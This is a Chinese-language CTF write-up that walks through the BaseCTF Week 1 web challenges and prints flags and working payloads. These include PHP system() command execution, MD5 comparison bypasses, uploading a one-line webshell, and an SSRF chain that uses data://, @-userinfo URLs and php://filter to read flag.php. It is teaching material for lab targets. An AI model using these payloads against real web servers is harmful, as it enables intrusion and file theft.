BaseCTF-web-Week1

写在前面:

题目类型还是比较全,也都是基础题型,适合刚入门 CTF 的萌新学习,我之前在学校实验室预备队招新赛中也有出过一些类似的基础题,欢迎大家参考。

SNERT预备队招新CTF体验赛-Web(SWCTF)https://myon6.blog.csdn.net/article/details/133501612

1、 HTTP 是什么呀

注意两个点:

(1)要求传入的 %00 需要先进行 url 编码后再传入,否则会被当做 url 编码直接转成空了;

(2)请求头需要添加 Content-Type: application/x-www-form-urlencoded 因为是 post 请求。

解 base64:

拿到 flag:BaseCTF{88e16242-bd8e-4886-8a51-cf2bcae1a226}

2、喵喵喵´•ﻌ•`

没有做任何过滤,直接 rce

当前目录未见 flag,看看根目录:

复制代码
?DT=system('ls /');

读取 flag:

复制代码
?DT=system('tac /flag');

拿到 flag:BaseCTF{7d34864d-ca1b-421b-8719-ecae8e681754}

3、md5绕过欸

都采用数组绕过,payload:

复制代码
?name[]=1&name2[]=1
post:password[]=2&password2[]=2

弱比较还可以采用一些特殊的字符串绕过,加密后以 0e 开头的,PHP 会当作科学计数法来处理,也就是 0 的 n 次方,得到的值比较的时候都相同,payload:

复制代码
?name=240610708&name2[]=1
post:password=MAUXXQC&password2[]=2

拿到 flag:BaseCTF{c83310db-382f-4819-8fca-1c4e2b488281}

4、 A Dark Room

F12 看源码

拿到 flag:BaseCTF{c7f4e58b-0e7d-42a2-b85a-64c09c88a6c7}

5、upload

未作任何过滤,直接传一句话木马

右键我们上传的文件,复制地址

访问是空白,说明解析成功

调用:

复制代码
?cmd=system("ls /");

读取 flag:

复制代码
?cmd=system("tac /flag");

拿到 flag:BaseCTF{2c4de865-6ac2-4ca0-a673-cb284549521e}

6、Aura 酱的礼物

看到代码似曾相识

很像我之前出过的一个题哈哈哈,这个题的原型来自于一道很久远的 CTF 比赛的题,感兴趣的可以看看题目三 :myon123_easy_phphttps://myon6.blog.csdn.net/article/details/137141104#3%E3%80%81myon123_easy_php

下面我们继续说这道题的解法,代码审计:

先看第一部分

php 复制代码
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
    die('这是 Aura 的礼物,你不是 Aura!');
}

看到 file_get_contents 我们就应该想到文件包含,需要上伪协议(萌新学到后面会有的条件反射)

现在页面回显的就是:这是 Aura 的礼物,你不是 Aura!,我们让它消失:

一般我们用的是 php://input ,然后 post 再写入对应数据,但是这里它 pen 需要 post 请求提交,因此我们使用另一个伪协议 data://,其实和 php://input 是一样的,让用户可以控制输入流,当它与文件包含函数结合时,用户输入的 data:// 流就会被当作 php 文件执行。

payload:

php 复制代码
pen=data://text/plain,Aura

可以看到已经来到了第二个 die() 函数,也就是说我们已经成功绕过了第一个条件判断。

继续看第二个:

php 复制代码
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
    die('这不是 Aura 的博客!');
}

strpos() 函数用于查找字符串在另一字符串中第一次出现的位置,其返回值是字符串在另一字符串中第一次出现的位置,注意字符串位置是从 0 开始的,如果没有找到字符串则返回 FALSE。

这里要求不能等于 0 ,也就是说在传入的 $challenge 里需要找到 'http://jasmineaura.github.io',并且位置是开头,才会是返回的 0。

那就直接将内容传给它,这样查出来返回值就是 0:

php 复制代码
pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io

来到第三部分:

php 复制代码
$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
    die('请去博客里面写下感想哦~');
}

这里会读取 challenge 这个文件,准确来说这里的 challenge 是一个文件的位置(路径),然后将读到的内容存入字符串 $blog_content 里,再次使用 strpos 函数查找,要求在内容里能找到 '已经收到Kengwang的礼物啦',因为如果找不到就会返回 false。

这里肯定不能再用 data:// 协议了,因为前面要求 $challenge 的开头必须是 'http://jasmineaura.github.io',那么怎么搞呢?我现在才明白这道题考点和我前面说的那道题不一样,这个我也是第一次遇到,看了它的 wp ,使用 @ 截断,将 @ 前的内容当做用户名,说实话我没太理解:

strpos($blog_content, '已经收到Kengwang的礼物啦') === false 这个检测怎么过的呢?

(后面用服务器测试后就明白了,以及 @ 的用法也有详细解释,往后看)

php 复制代码
pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@127.0.0.1

最后就是 include 文件包含,也是直接上伪协议就好了,这里用 php://filter 读文件源码。

payload:

php 复制代码
pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@127.0.0.1&gift=php://filter/read=convert.base64-encode/resource=flag.php

我本来是想换编码方式输出,但是没成功,那就再 base64 解码吧

拿到 flag:BaseCTF{e2d5fe59-5bba-4a3b-a255-fe04a99f0198}

下面换服务器试试:

php 复制代码
pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@服务器ip地址&gift=php://filter/read=convert.base64-encode/resource=flag.php

当将 127.0.0.1 换成服务器 ip 地址后,发现就打不通了,说明它这里题目的设置就是只要改成读本地就能直接过,wp里也说了考虑到新生没有服务器。

为什么打不通了,因为压根就没过这个判断:

strpos($blog_content, '已经收到Kengwang的礼物啦') === false

随便在服务器启一个 web 服务,在网站目录下随便写一个文件:

我这里叫 1.txt,写这个东西干啥?给 file_get_contents 去读取。

1.txt 的内容如下:

也就是题目代码要求能查找到的内容

访问一下,没什么问题

构造 payload:

php 复制代码
pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@服务器ip地址/1.txt&gift=php://filter/read=convert.base64-encode/resource=flag.php

读取 flag.php 成功

这个考点其实是 SSRF 了,我就说为什么传了 challenge=http://jasmineaura.github.io 请求耗时都变长了,因为它会去访问 http://jasmineaura.github.io 这个网站,所以现在也就更好理解前面说的 @ 截断的意思了,前面 http://jasmineaura.github.io@ 中的 jasmineaura.github.io 会被当做一个用户名信息,实际最后去访问的网站是我们服务器的ip地址,读取文件也就是我们写入的。

比如我们访问百度这个网站,我们可以这样输地址:

php 复制代码
http://jasmineaura.github.io@baidu.com/

或者

php 复制代码
http://Myon@baidu.com/

回显出来的结果依旧是百度的页面

在 URL 中,@ 符号前面的部分通常表示用户信息(例如用户名和密码),这种用法曾经用于需要在 URL 中嵌入用户名和密码的情况,但是由于安全原因,这种方式已逐渐被淘汰,现代浏览器大多不再支持直接从 URL 中提取用户名和密码进行身份验证。

BaseCTF-web-Week1 的题目讲解至此结束,希望看完对你学习 CTF 有帮助。

期待大家的关注与支持!

相关推荐
Benzenene!1 分钟前
让Chrome信任自签名证书
前端·chrome
yangholmes88881 分钟前
如何在 web 应用中使用 GDAL (二)
前端·webassembly
jacy3 分钟前
图片大图预览就该这样做
前端
林太白5 分钟前
Nuxt3 功能篇
前端·javascript·后端
YuJie7 分钟前
webSocket Manager
前端·javascript
Mapmost22 分钟前
Mapmost SDK for UE5 内核升级,三维场景渲染效果飙升!
前端
Mapmost25 分钟前
重磅升级丨Mapmost全面兼容3DTiles 1.1,3DGS量测精度跃升至亚米级!
前端·vue.js·three.js
wycode31 分钟前
Promise(一)极简版demo
前端·javascript
浮幻云月32 分钟前
一个自开自用的Ai提效VsCode插件
前端·javascript